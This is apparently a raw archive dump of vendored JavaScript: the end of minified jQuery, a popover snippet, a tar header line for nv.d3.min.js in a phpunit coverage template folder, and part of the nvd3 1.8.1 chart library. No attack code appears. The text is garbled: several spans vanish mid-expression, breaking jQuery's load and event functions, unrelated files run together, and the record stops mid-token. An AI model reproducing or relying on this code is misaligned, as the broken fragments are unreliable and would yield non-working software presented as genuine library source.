error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var _t,zt=[],Ut=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=zt.pop()||S.expando+"_"+wt.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Ut.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ut.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Ut,"$1"+r):!1!==e.jsonp&&(e.url+=(Tt.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,zt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((_t=E.implementation.createHTMLDocument("").body).innerHTML="
              ",2===_t.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return $(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=Fe(y.pixelPosition,function(e,t){if(t)return t=We(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return $(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0 offset) { $top_link.fadeIn(); } else { $top_link.fadeOut(); } }).scroll(); $('.popin') .popover({trigger: 'manual'}) .on({ 'mouseenter.popover': function () { var $target = $(this); var $container = $target.children().first(); $target.data('popover-hover', true); // popover already displayed if ($target.next('.popover').length) { return; } // show the popover $container.popover('show'); // register mouse events on the popover $target.next('.popover:not(.popover-initialized)') .on({ 'mouseenter': function () { $target.data('popover-hover', true); }, 'mouseleave': function () { hidePopover($container); } }) .addClass('popover-initialized'); }, 'mouseleave.popover': function () { hidePopover($(this).children().first()); } }); });res/readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/nv.d3.min.js000064400000651332147577714370027115 0ustar00/* nvd3 version 1.8.1 (https://github.com/novus/nvd3) 2015-06-15 */ !function(){var a={};a.dev=!1,a.tooltip=a.tooltip||{},a.utils=a.utils||{},a.models=a.models||{},a.charts={},a.logs={},a.dom={},a.dispatch=d3.dispatch("render_start","render_end"),Function.prototype.bind||(Function.prototype.bind=function(a){if("function"!=typeof this)throw new TypeError("Function.prototype.bind - what is trying to be bound is not callable");var b=Array.prototype.slice.call(arguments,1),c=this,d=function(){},e=function(){return c.apply(this instanceof d&&a?this:a,b.concat(Array.prototype.slice.call(arguments)))};return d.prototype=this.prototype,e.prototype=new d,e}),a.dev&&(a.dispatch.on("render_start",function(){a.logs.startTime=+new Date}),a.dispatch.on("render_end",function(){a.logs.endTime=+new Date,a.logs.totalTime=a.logs.endTime-a.logs.startTime,a.log("total",a.logs.totalTime)})),a.log=function(){if(a.dev&&window.console&&console.log&&console.log.apply)console.log.apply(console,arguments);else if(a.dev&&window.console&&"function"==typeof console.log&&Function.prototype.bind){var b=Function.prototype.bind.call(console.log,console);b.apply(console,arguments)}return arguments[arguments.length-1]},a.deprecated=function(a,b){console&&console.warn&&console.warn("nvd3 warning: `"+a+"` has been deprecated. ",b||"")},a.render=function(b){b=b||1,a.render.active=!0,a.dispatch.render_start();var c=function(){for(var d,e,f=0;b>f&&(e=a.render.queue[f]);f++)d=e.generate(),typeof e.callback==typeof Function&&e.callback(d);a.render.queue.splice(0,f),a.render.queue.length?setTimeout(c):(a.dispatch.render_end(),a.render.active=!1)};setTimeout(c)},a.render.active=!1,a.render.queue=[],a.addGraph=function(b){typeof arguments[0]==typeof Function&&(b={generate:arguments[0],callback:arguments[1]}),a.render.queue.push(b),a.render.active||a.render()},"undefined"!=typeof module&&"undefined"!=typeof exports&&(module.exports=a),"undefined"!=typeof window&&(window.nv=a),a.dom.write=function(a){return void 0!==window.fastdom?fastdom.write(a):a()},a.dom.read=function(a){return void 0!==window.fastdom?fastdom.read(a):a()},a.interactiveGuideline=function(){"use strict";function b(l){l.each(function(l){function m(){var a=d3.mouse(this),d=a[0],e=a[1],i=!0,j=!1;if(k&&(d=d3.event.offsetX,e=d3.event.offsetY,"svg"!==d3.event.target.tagName&&(i=!1),d3.event.target.className.baseVal.match("nv-legend")&&(j=!0)),i&&(d-=f.left,e-=f.top),0>d||0>e||d>o||e>p||d3.event.relatedTarget&&void 0===d3.event.relatedTarget.ownerSVGElement||j){if(k&&d3.event.relatedTarget&&void 0===d3.event.relatedTarget.ownerSVGElement&&(void 0===d3.event.relatedTarget.className||d3.event.relatedTarget.className.match(c.nvPointerEventsClass)))return;return h.elementMouseout({mouseX:d,mouseY:e}),b.renderGuideLine(null),void c.hidden(!0)}c.hidden(!1);var l=g.invert(d);h.elementMousemove({mouseX:d,mouseY:e,pointXValue:l}),"dblclick"===d3.event.type&&h.elementDblclick({mouseX:d,mouseY:e,pointXValue:l}),"click"===d3.event.type&&h.elementClick({mouseX:d,mouseY:e,pointXValue:l})}var n=d3.select(this),o=d||960,p=e||400,q=n.selectAll("g.nv-wrap.nv-interactiveLineLayer").data([l]),r=q.enter().append("g").attr("class"," nv-wrap nv-interactiveLineLayer");r.append("g").attr("class","nv-interactiveGuideLine"),j&&(j.on("touchmove",m).on("mousemove",m,!0).on("mouseout",m,!0).on("dblclick",m).on("click",m),b.guideLine=null,b.renderGuideLine=function(c){i&&(b.guideLine&&b.guideLine.attr("x1")===c||a.dom.write(function(){var b=q.select(".nv-interactiveGuideLine").selectAll("line").data(null!=c?[a.utils.NaNtoZero(c)]:[],String);b.enter().append("line").attr("class","nv-guideline").attr("x1",function(a){return a}).attr("x2",function(a){return a}).attr("y1",p).attr("y2",0),b.exit().remove()}))})})}var c=a.models.tooltip();c.duration(0).hideDelay(0)._isInteractiveLayer(!0).hidden(!1);var d=null,e=null,f={left:0,top:0},g=d3.scale.linear(),h=d3.dispatch("elementMousemove","elementMouseout","elementClick","elementDblclick"),i=!0,j=null,k="ActiveXObject"in window;return b.dispatch=h,b.tooltip=c,b.margin=function(a){return arguments.length?(f.top="undefined"!=typeof a.top?a.top:f.top,f.left="undefined"!=typeof a.left?a.left:f.left,b):f},b.width=function(a){return arguments.length?(d=a,b):d},b.height=function(a){return arguments.length?(e=a,b):e},b.xScale=function(a){return arguments.length?(g=a,b):g},b.showGuideLine=function(a){return arguments.length?(i=a,b):i},b.svgContainer=function(a){return arguments.length?(j=a,b):j},b},a.interactiveBisect=function(a,b,c){"use strict";if(!(a instanceof Array))return null;var d;d="function"!=typeof c?function(a){return a.x}:c;var e=function(a,b){return d(a)-b},f=d3.bisector(e).left,g=d3.max([0,f(a,b)-1]),h=d(a[g]);if("undefined"==typeof h&&(h=g),h===b)return g;var i=d3.min([g+1,a.length-1]),j=d(a[i]);return"undefined"==typeof j&&(j=i),Math.abs(j-b)>=Math.abs(h-b)?g:i},a.nearestValueIndex=function(a,b,c){"use strict";var d=1/0,e=null;return a.forEach(function(a,f){var g=Math.abs(b-a);null!=a&&d>=g&&c>g&&(d=g,e=f)}),e},function(){"use strict";a.models.tooltip=function(){function b(){if(k){var a=d3.select(k);"svg"!==a.node().tagName&&(a=a.select("svg"));var b=a.node()?a.attr("viewBox"):null;if(b){b=b.split(" ");var c=parseInt(a.style("width"),10)/b[2];p.left=p.left*c,p.top=p.top*c}}}function c(){if(!n){var a;a=k?k:document.body,n=d3.select(a).append("div").attr("class","nvtooltip "+(j?j:"xy-tooltip")).attr("id",v),n.style("top",0).style("left",0),n.style("opacity",0),n.selectAll("div, table, td, tr").classed(w,!0),n.classed(w,!0),o=n.node()}}function d(){if(r&&B(e)){b();var f=p.left,g=null!==i?i:p.top;return a.dom.write(function(){c();var b=A(e);b&&(o.innerHTML=b),k&&u?a.dom.read(function(){var a=k.getElementsByTagName("svg")[0],b={left:0,top:0};if(a){var c=a.getBoundingClientRect(),d=k.getBoundingClientRect(),e=c.top;if(0>e){var i=k.getBoundingClientRect();e=Math.abs(e)>i.height?0:e}b.top=Math.abs(e-d.top),b.left=Math.abs(c.left-d.left)}f+=k.offsetLeft+b.left-2*k.scrollLeft,g+=k.offsetTop+b.top-2*k.scrollTop,h&&h>0&&(g=Math.floor(g/h)*h),C([f,g])}):C([f,g])}),d}}var e=null,f="w",g=25,h=0,i=null,j=null,k=null,l=!0,m=400,n=null,o=null,p={left:null,top:null},q={left:0,top:0},r=!0,s=100,t=!0,u=!1,v="nvtooltip-"+Math.floor(1e5*Math.random()),w="nv-pointer-events-none",x=function(a){return a},y=function(a){return a},z=function(a){return a},A=function(a){if(null===a)return"";var b=d3.select(document.createElement("table"));if(t){var c=b.selectAll("thead").data([a]).enter().append("thead");c.append("tr").append("td").attr("colspan",3).append("strong").classed("x-value",!0).html(y(a.value))}var d=b.selectAll("tbody").data([a]).enter().append("tbody"),e=d.selectAll("tr").data(function(a){return a.series}).enter().append("tr").classed("highlight",function(a){return a.highlight});e.append("td").classed("legend-color-guide",!0).append("div").style("background-color",function(a){return a.color}),e.append("td").classed("key",!0).html(function(a,b){return z(a.key,b)}),e.append("td").classed("value",!0).html(function(a,b){return x(a.value,b)}),e.selectAll("td").each(function(a){if(a.highlight){var b=d3.scale.linear().domain([0,1]).range(["#fff",a.color]),c=.6;d3.select(this).style("border-bottom-color",b(c)).style("border-top-color",b(c))}});var f=b.node().outerHTML;return void 0!==a.footer&&(f+=""),f},B=function(a){if(a&&a.series){if(a.series instanceof Array)return!!a.series.length;if(a.series instanceof Object)return a.series=[a.series],!0}return!1},C=function(b){o&&a.dom.read(function(){var c,d,e=parseInt(o.offsetHeight,10),h=parseInt(o.offsetWidth,10),i=a.utils.windowSize().width,j=a.utils.windowSize().height,k=window.pageYOffset,p=window.pageXOffset;j=window.innerWidth>=document.body.scrollWidth?j:j-16,i=window.innerHeight>=document.body.scrollHeight?i:i-16;var r,t,u=function(a){var b=d;do isNaN(a.offsetTop)||(b+=a.offsetTop),a=a.offsetParent;while(a);return b},v=function(a){var b=c;do isNaN(a.offsetLeft)||(b+=a.offsetLeft),a=a.offsetParent;while(a);return b};switch(f){case"e":c=b[0]-h-g,d=b[1]-e/2,r=v(o),t=u(o),p>r&&(c=b[0]+g>p?b[0]+g:p-r+c),k>t&&(d=k-t+d),t+e>k+j&&(d=k+j-t+d-e);break;case"w":c=b[0]+g,d=b[1]-e/2,r=v(o),t=u(o),r+h>i&&(c=b[0]-h-g),k>t&&(d=k+5),t+e>k+j&&(d=k+j-t+d-e);break;case"n":c=b[0]-h/2-5,d=b[1]+g,r=v(o),t=u(o),p>r&&(c=p+5),r+h>i&&(c=c-h/2+5),t+e>k+j&&(d=k+j-t+d-e);break;case"s":c=b[0]-h/2,d=b[1]-e-g,r=v(o),t=u(o),p>r&&(c=p+5),r+h>i&&(c=c-h/2+5),k>t&&(d=k);break;case"none":c=b[0],d=b[1]-g,r=v(o),t=u(o)}c-=q.left,d-=q.top;var w=o.getBoundingClientRect(),k=window.pageYOffset||document.documentElement.scrollTop,p=window.pageXOffset||document.documentElement.scrollLeft,x="translate("+(w.left+p)+"px, "+(w.top+k)+"px)",y="translate("+c+"px, "+d+"px)",z=d3.interpolateString(x,y),A=n.style("opacity")<.1;l?n.transition().delay(m).duration(0).style("opacity",0):n.interrupt().transition().duration(A?0:s).styleTween("transform",function(){return z},"important").style("-webkit-transform",y).style("opacity",1)})};return d.nvPointerEventsClass=w,d.options=a.utils.optionsFunc.bind(d),d._options=Object.create({},{duration:{get:function(){return s},set:function(a){s=a}},gravity:{get:function(){return f},set:function(a){f=a}},distance:{get:function(){return g},set:function(a){g=a}},snapDistance:{get:function(){return h},set:function(a){h=a}},classes:{get:function(){return j},set:function(a){j=a}},chartContainer:{get:function(){return k},set:function(a){k=a}},fixedTop:{get:function(){return i},set:function(a){i=a}},enabled:{get:function(){return r},set:function(a){r=a}},hideDelay:{get:function(){return m},set:function(a){m=a}},contentGenerator:{get:function(){return A},set:function(a){A=a}},valueFormatter:{get:function(){return x},set:function(a){x=a}},headerFormatter:{get:function(){return y},set:function(a){y=a}},keyFormatter:{get:function(){return z},set:function(a){z=a}},headerEnabled:{get:function(){return t},set:function(a){t=a}},_isInteractiveLayer:{get:function(){return u},set:function(a){u=!!a}},position:{get:function(){return p},set:function(a){p.left=void 0!==a.left?a.left:p.left,p.top=void 0!==a.top?a.top:p.top}},offset:{get:function(){return q},set:function(a){q.left=void 0!==a.left?a.left:q.left,q.top=void 0!==a.top?a.top:q.top}},hidden:{get:function(){return l},set:function(a){l!=a&&(l=!!a,d())}},data:{get:function(){return e},set:function(a){a.point&&(a.value=a.point.x,a.series=a.series||{},a.series.value=a.point.y,a.series.color=a.point.color||a.series.color),e=a}},tooltipElem:{get:function(){return o},set:function(){}},id:{get:function(){return v},set:function(){}}}),a.utils.initOptions(d),d}}(),a.utils.windowSize=function(){var a={width:640,height:480};return window.innerWidth&&window.innerHeight?(a.width=window.innerWidth,a.height=window.innerHeight,a):"CSS1Compat"==document.compatMode&&document.documentElement&&document.documentElement.offsetWidth?(a.width=document.documentElement.offsetWidth,a.height=document.documentElement.offsetHeight,a):document.body&&document.body.offsetWidth?(a.width=document.body.offsetWidth,a.height=document.body.offsetHeight,a):a},a.utils.windowResize=function(b){return window.addEventListener?window.addEventListener("resize",b):a.log("ERROR: Failed to bind to window.resize with: ",b),{callback:b,clear:function(){window.removeEventListener("resize",b)}}},a.utils.getColor=function(b){if(void 0===b)return a.utils.defaultColor();if(Array.isArray(b)){var c=d3.scale.ordinal().range(b);return function(a,b){var d=void 0===b?a:b;return a.color||c(d)}}return b},a.utils.defaultColor=function(){return a.utils.getColor(d3.scale.category20().range())},a.utils.customTheme=function(a,b,c){b=b||function(a){return a.key},c=c||d3.scale.category20().range();var d=c.length;return function(e){var f=b(e);return"function"==typeof a[f]?a[f]():void 0!==a[f]?a[f]:(d||(d=c.length),d-=1,c[d])}},a.utils.pjax=function(b,c){var d=function(d){d3.html(d,function(d){var e=d3.select(c).node();e.parentNode.replaceChild(d3.select(d).select(c).node(),e),a.utils.pjax(b,c)})};d3.selectAll(b).on("click",function(){history.pushState(this.href,this.textContent,this.href),d(this.href),d3.event.preventDefault()}),d3.select(window).on("popstate",function(){d3.event.state&&d(d3.event.state)})},a.utils.calcApproxTextWidth=function(a){if("function"==typeof a.style&&"function"==typeof a.text){var b=parseInt(a.style("font-size").replace("px",""),10),c=a.text().length;return c*b*.5}return 0},a.utils.NaNtoZero=function(a){return"number"!=typeof a||isNaN(a)||null===a||1/0===a||a===-1/0?0:a},d3.selection.prototype.watchTransition=function(a){var b=[this].concat([].slice.call(arguments,1));return a.transition.apply(a,b)},a.utils.renderWatch=function(b,c){if(!(this instanceof a.utils.renderWatch))return new a.utils.renderWatch(b,c);var d=void 0!==c?c:250,e=[],f=this;this.models=function(a){return a=[].slice.call(arguments,0),a.forEach(function(a){a.__rendered=!1,function(a){a.dispatch.on("renderEnd",function(){a.__rendered=!0,f.renderEnd("model")})}(a),e.indexOf(a)<0&&e.push(a)}),this},this.reset=function(a){void 0!==a&&(d=a),e=[]},this.transition=function(a,b,c){if(b=arguments.length>1?[].slice.call(arguments,1):[],c=b.length>1?b.pop():void 0!==d?d:250,a.__rendered=!1,e.indexOf(a)<0&&e.push(a),0===c)return a.__rendered=!0,a.delay=function(){return this},a.duration=function(){return this},a;a.__rendered=0===a.length?!0:a.every(function(a){return!a.length})?!0:!1;var g=0;return a.transition().duration(c).each(function(){++g}).each("end",function(){0===--g&&(a.__rendered=!0,f.renderEnd.apply(this,b))})},this.renderEnd=function(){e.every(function(a){return a.__rendered})&&(e.forEach(function(a){a.__rendered=!1}),b.renderEnd.apply(this,arguments))}},a.utils.deepExtend=function(b){var c=arguments.length>1?[].slice.call(arguments,1):[];c.forEach(function(c){for(var d in c){var e=b[d]instanceof Array,f="object"==typeof b[d],g="object"==typeof c[d];f&&!e&&g?a.utils.deepExtend(b[d],c[d]):b[d]=c[d]}})},a.utils.state=function(){if(!(this instanceof a.utils.state))return new a.utils.state;var b={},c=function(){},d=function(){return{}},e=null,f=null;this.dispatch=d3.dispatch("change","set"),this.dispatch.on("set",function(a){c(a,!0)}),this.getter=function(a){return d=a,this},this.setter=function(a,b){return b||(b=function(){}),c=function(c,d){a(c),d&&b()},this},this.init=function(b){e=e||{},a.utils.deepExtend(e,b)};var g=function(){var a=d();if(JSON.stringify(a)===JSON.stringify(b))return!1;for(var c in a)void 0===b[c]&&(b[c]={}),b[c]=a[c],f=!0;return!0};this.update=function(){e&&(c(e,!1),e=null),g.call(this)&&this.dispatch.change(b)}},a.utils.optionsFunc=function(a){return a&&d3.map(a).forEach(function(a,b){"function"==typeof this[a]&&this[a](b)}.bind(this)),this},a.utils.calcTicksX=function(b,c){var d=1,e=0;for(e;ed?f:d}return a.log("Requested number of ticks: ",b),a.log("Calculated max values to be: ",d),b=b>d?b=d-1:b,b=1>b?1:b,b=Math.floor(b),a.log("Calculating tick count as: ",b),b},a.utils.calcTicksY=function(b,c){return a.utils.calcTicksX(b,c)},a.utils.initOption=function(a,b){a._calls&&a._calls[b]?a[b]=a._calls[b]:(a[b]=function(c){return arguments.length?(a._overrides[b]=!0,a._options[b]=c,a):a._options[b]},a["_"+b]=function(c){return arguments.length?(a._overrides[b]||(a._options[b]=c),a):a._options[b]})},a.utils.initOptions=function(b){b._overrides=b._overrides||{};var c=Object.getOwnPropertyNames(b._options||{}),d=Object.getOwnPropertyNames(b._calls||{});c=c.concat(d);for(var e in c)a.utils.initOption(b,c[e])},a.utils.inheritOptionsD3=function(a,b,c){a._d3options=c.concat(a._d3options||[]),c.unshift(b),c.unshift(a),d3.rebind.apply(this,c)},a.utils.arrayUnique=function(a){return a.sort().filter(function(b,c){return!c||b!=a[c-1]})},a.utils.symbolMap=d3.map(),a.utils.symbol=function(){function b(b,e){var f=c.call(this,b,e),g=d.call(this,b,e);return-1!==d3.svg.symbolTypes.indexOf(f)?d3.svg.symbol().type(f).size(g)():a.utils.symbolMap.get(f)(g)}var c,d=64;return b.type=function(a){return arguments.length?(c=d3.functor(a),b):c},b.size=function(a){return arguments.length?(d=d3.functor(a),b):d},b},a.utils.inheritOptions=function(b,c){var d=Object.getOwnPropertyNames(c._options||{}),e=Object.getOwnPropertyNames(c._calls||{}),f=c._inherited||[],g=c._d3options||[],h=d.concat(e).concat(f).concat(g);h.unshift(c),h.unshift(b),d3.rebind.apply(this,h),b._inherited=a.utils.arrayUnique(d.concat(e).concat(f).concat(d).concat(b._inherited||[])),b._d3options=a.utils.arrayUnique(g.concat(b._d3options||[]))},a.utils.initSVG=function(a){a.classed({"nvd3-svg":!0})},a.utils.sanitizeHeight=function(a,b){return a||parseInt(b.style("height"),10)||400},a.utils.sanitizeWidth=function(a,b){return a||parseInt(b.style("width"),10)||960},a.utils.availableHeight=function(b,c,d){return a.utils.sanitizeHeight(b,c)-d.top-d.bottom},a.utils.availableWidth=function(b,c,d){return a.utils.sanitizeWidth(b,c)-d.left-d.right},a.utils.noData=function(b,c){var d=b.options(),e=d.margin(),f=d.noData(),g=null==f?["No Data Available."]:[f],h=a.utils.availableHeight(d.height(),c,e),i=a.utils.availableWidth(d.width(),c,e),j=e.left+i/2,k=e.top+h/2;c.selectAll("g").remove();var l=c.selectAll(".nv-noData").data(g);l.enter().append("text").attr("class","nvd3 nv-noData").attr("dy","-.7em").style("text-anchor","middle"),l.attr("x",j).attr("y",k).text(function(a){return a})},a.models.axis=function(){"use strict";function b(g){return s.reset(),g.each(function(b){var g=d3.select(this);a.utils.initSVG(g);var p=g.selectAll("g.nv-wrap.nv-axis").data([b]),q=p.enter().append("g").attr("class","nvd3 nv-wrap nv-axis"),t=(q.append("g"),p.select("g"));null!==n?c.ticks(n):("top"==c.orient()||"bottom"==c.orient())&&c.ticks(Math.abs(d.range()[1]-d.range()[0])/100),t.watchTransition(s,"axis").call(c),r=r||c.scale();var u=c.tickFormat();null==u&&(u=r.tickFormat());var v=t.selectAll("text.nv-axislabel").data([h||null]);v.exit().remove();var w,x,y;switch(c.orient()){case"top":v.enter().append("text").attr("class","nv-axislabel"),y=d.range().length<2?0:2===d.range().length?d.range()[1]:d.range()[d.range().length-1]+(d.range()[1]-d.range()[0]),v.attr("text-anchor","middle").attr("y",0).attr("x",y/2),i&&(x=p.selectAll("g.nv-axisMaxMin").data(d.domain()),x.enter().append("g").attr("class",function(a,b){return["nv-axisMaxMin","nv-axisMaxMin-x",0==b?"nv-axisMin-x":"nv-axisMax-x"].join(" ")}).append("text"),x.exit().remove(),x.attr("transform",function(b){return"translate("+a.utils.NaNtoZero(d(b))+",0)"}).select("text").attr("dy","-0.5em").attr("y",-c.tickPadding()).attr("text-anchor","middle").text(function(a){var b=u(a);return(""+b).match("NaN")?"":b}),x.watchTransition(s,"min-max top").attr("transform",function(b,c){return"translate("+a.utils.NaNtoZero(d.range()[c])+",0)"}));break;case"bottom":w=o+36;var z=30,A=0,B=t.selectAll("g").select("text"),C="";if(j%360){B.each(function(){var a=this.getBoundingClientRect(),b=a.width;A=a.height,b>z&&(z=b)}),C="rotate("+j+" 0,"+(A/2+c.tickPadding())+")";var D=Math.abs(Math.sin(j*Math.PI/180));w=(D?D*z:z)+30,B.attr("transform",C).style("text-anchor",j%360>0?"start":"end")}v.enter().append("text").attr("class","nv-axislabel"),y=d.range().length<2?0:2===d.range().length?d.range()[1]:d.range()[d.range().length-1]+(d.range()[1]-d.range()[0]),v.attr("text-anchor","middle").attr("y",w).attr("x",y/2),i&&(x=p.selectAll("g.nv-axisMaxMin").data([d.domain()[0],d.domain()[d.domain().length-1]]),x.enter().append("g").attr("class",function(a,b){return["nv-axisMaxMin","nv-axisMaxMin-x",0==b?"nv-axisMin-x":"nv-axisMax-x"].join(" ")}).append("text"),x.exit().remove(),x.attr("transform",function(b){return"translate("+a.utils.NaNtoZero(d(b)+(m?d.rangeBand()/2:0))+",0)"}).select("text").attr("dy",".71em").attr("y",c.tickPadding()).attr("transform",C).style("text-anchor",j?j%360>0?"start":"end":"middle").text(function(a){var b=u(a);return(""+b).match("NaN")?"":b}),x.watchTransition(s,"min-max bottom").attr("transform",function(b){return"translate("+a.utils.NaNtoZero(d(b)+(m?d.rangeBand()/2:0))+",0)"})),l&&B.attr("transform",function(a,b){return"translate(0,"+(b%2==0?"0":"12")+")"});break;case"right":v.enter().append("text").attr("class","nv-axislabel"),v.style("text-anchor",k?"middle":"begin").attr("transform",k?"rotate(90)":"").attr("y",k?-Math.max(e.right,f)+12:-10).attr("x",k?d3.max(d.range())/2:c.tickPadding()),i&&(x=p.selectAll("g.nv-axisMaxMin").data(d.domain()),x.enter().append("g").attr("class",function(a,b){return["nv-axisMaxMin","nv-axisMaxMin-y",0==b?"nv-axisMin-y":"nv-axisMax-y"].join(" ")}).append("text").style("opacity",0),x.exit().remove(),x.attr("transform",function(b){return"translate(0,"+a.utils.NaNtoZero(d(b))+")"}).select("text").attr("dy",".32em").attr("y",0).attr("x",c.tickPadding()).style("text-anchor","start").text(function(a){var b=u(a);return(""+b).match("NaN")?"":b}),x.watchTransition(s,"min-max right").attr("transform",function(b,c){return"translate(0,"+a.utils.NaNtoZero(d.range()[c])+")"}).select("text").style("opacity",1));break;case"left":v.enter().append("text").attr("class","nv-axislabel"),v.style("text-anchor",k?"middle":"end").attr("transform",k?"rotate(-90)":"").attr("y",k?-Math.max(e.left,f)+25-(o||0):-10).attr("x",k?-d3.max(d.range())/2:-c.tickPadding()),i&&(x=p.selectAll("g.nv-axisMaxMin").data(d.domain()),x.enter().append("g").attr("class",function(a,b){return["nv-axisMaxMin","nv-axisMaxMin-y",0==b?"nv-axisMin-y":"nv-axisMax-y"].join(" ")}).append("text").style("opacity",0),x.exit().remove(),x.attr("transform",function(b){return"translate(0,"+a.utils.NaNtoZero(r(b))+")"}).select("text").attr("dy",".32em").attr("y",0).attr("x",-c.tickPadding()).attr("text-anchor","end").text(function(a){var b=u(a);return(""+b).match("NaN")?"":b}),x.watchTransition(s,"min-max right").attr("transform",function(b,c){return"translate(0,"+a.utils.NaNtoZero(d.range()[c])+")"}).select("text").style("opacity",1))}if(v.text(function(a){return a}),!i||"left"!==c.orient()&&"right"!==c.orient()||(t.selectAll("g").each(function(a){d3.select(this).select("text").attr("opacity",1),(d(a)d.range()[0]-10)&&((a>1e-10||-1e-10>a)&&d3.select(this).attr("opacity",0),d3.select(this).select("text").attr("opacity",0))}),d.domain()[0]==d.domain()[1]&&0==d.domain()[0]&&p.selectAll("g.nv-axisMaxMin").style("opacity",function(a,b){return b?0:1})),i&&("top"===c.orient()||"bottom"===c.orient())){var E=[];p.selectAll("g.nv-axisMaxMin").each(function(a,b){try{E.push(b?d(a)-this.getBoundingClientRect().width-4:d(a)+this.getBoundingClientRect().width+4)}catch(c){E.push(b?d(a)-4:d(a)+4)}}),t.selectAll("g").each(function(a){(d(a)E[1])&&(a>1e-10||-1e-10>a?d3.select(this).remove():d3.select(this).select("text").remove())})}t.selectAll(".tick").filter(function(a){return!parseFloat(Math.round(1e5*a)/1e6)&&void 0!==a}).classed("zero",!0),r=d.copy()}),s.renderEnd("axis immediate"),b}var c=d3.svg.axis(),d=d3.scale.linear(),e={top:0,right:0,bottom:0,left:0},f=75,g=60,h=null,i=!0,j=0,k=!0,l=!1,m=!1,n=null,o=0,p=250,q=d3.dispatch("renderEnd");c.scale(d).orient("bottom").tickFormat(function(a){return a});var r,s=a.utils.renderWatch(q,p);return b.axis=c,b.dispatch=q,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{axisLabelDistance:{get:function(){return o},set:function(a){o=a}},staggerLabels:{get:function(){return l},set:function(a){l=a}},rotateLabels:{get:function(){return j},set:function(a){j=a}},rotateYLabel:{get:function(){return 